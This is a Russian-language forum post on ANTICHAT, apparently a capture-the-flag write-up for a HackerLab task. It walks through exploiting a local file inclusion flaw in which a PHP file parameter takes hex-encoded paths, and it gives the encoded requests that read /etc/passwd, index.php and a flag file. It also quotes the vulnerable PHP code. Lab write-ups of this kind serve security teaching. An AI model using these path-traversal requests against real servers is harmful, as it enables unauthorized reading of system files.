HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.09.2025, 11:49
Kot_oo
Новичок
Регистрация: 03.04.2025
Сообщений: 0
С нами: 587570

Репутация: 0
По умолчанию

В некоторых тасках пишется не оформлять райтап на новые задания. Дабы не нарушать концепцию площадки
Так как не увидел данного сообщения, полагаю можно оформить, дабы не нарушать традиции площадки)

После окончания обучения Специалист по тестированию на проникновение в информационные системы (Немножко рекламы) не хватает практики. Начинаем дальше пытаться проходить HackerLab

P.S Попытки типа ../../../../ect/passwd не прокатили

Поехали IP: 62.173.140.174:16081
Как всегда все делаем через наш любимый Burp Pro

1)
При открытии видим сайт с pdf файлами, как всегда пробуем потыкать по кнопочкам. Открываются pdf файлы все хорошо и понятно.



2) Откроем код страницы (Нам интересно то, что находится в блоке по файлам.)



3)Через Proxy - Intercep перехватываем действие о скачивании файла



4)Отправляем данный запрос в Repeater для удобства

5) Нам интересен сам запрос GET /index.php?file=67726166696b2d6b7572736f762e706466
Посмотрим на запрос повнимательнее и понимаем, что путь к файлу закодирован, так как не отображается прямым именем PDF.
6) Переходим в Burp Decoder и пытаемся там раздекодить (Можно использовать любые ресурсы)



Подобрали декодировку, ASCII hex

7)Так же помним, что обращение идет к index.php
А как мы помним стандартный адрес файла /var/www/html/index.php
Кодируем наш путь в ASCII hex так же через Burp Decoder
Получаем: 2f7661722f7777772f68746d6c2f696e6465782e706870
P.S Так же для проверки можно закодироватьetc/passwd

Скрин с etc/passwd



Скрин с /var/www/html/index.php



8)Просматриваем код выданной страницы, (понимаем, что не ошиблись и имена кодируются в hex)
Разберем код ниже

В данном блоке формируется hex строки
<?php
function str_to_hex($str) {
return bin2hex($str);
}
function hex_to_str($hex) {
return hex2bin($hex);
}

В данном блоке находятся имена файлов php, txt, pdf
// $php_files = array_slice(['test.php', 'index.php'], 0, 2);
// $txt_files = array_slice(['test.txt', 'flag_for_hackerlab_ctfplayers.txt'], 0, 2); // Moved to upper directory (Подсказка, файл находится в директории выше)

$pdf_files = array_slice(['grafik-kursov.pdf', 'roadmap-v3.pdf'], 0, 2);
В данном блоке понятно, что если не закодировано в get запросе, выводить echo "Файл не найден";
if (isset($_GET['file'])) {
$filename = hex_to_str($_GET['file']);
if ($filename && file_exists($filename)) {
header('Content-Type: application/pdf');
header('Content-Disposition: inline; filename="' . basename($filename) . '"');
readfile($filename);
exit;
} else {
http_response_code(404);
echo "Файл не найден";
exit;
}
}

9) Осталось дело за малым.
Формируем запрос /var/www/flag_for_hackerlab_ctfplayers.txt
Кодируем его в hex через Burp Decoder 2f7661722f7777772f666c61675f666f725f6861636b65726c 61625f637466706c61796572732e747874
Отправляем запрос в репитерGET /index.php?file=2f7661722f7777772f666c61675f666f725f6861636b65726c 61625f637466706c61796572732e747874

10)
Получаем флаг.

Уязвимость LFI

Всем спасибо
Критика принимается )))

и по традиции

«Не стыдно не знать, стыдно не учиться» — русская пословица.
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.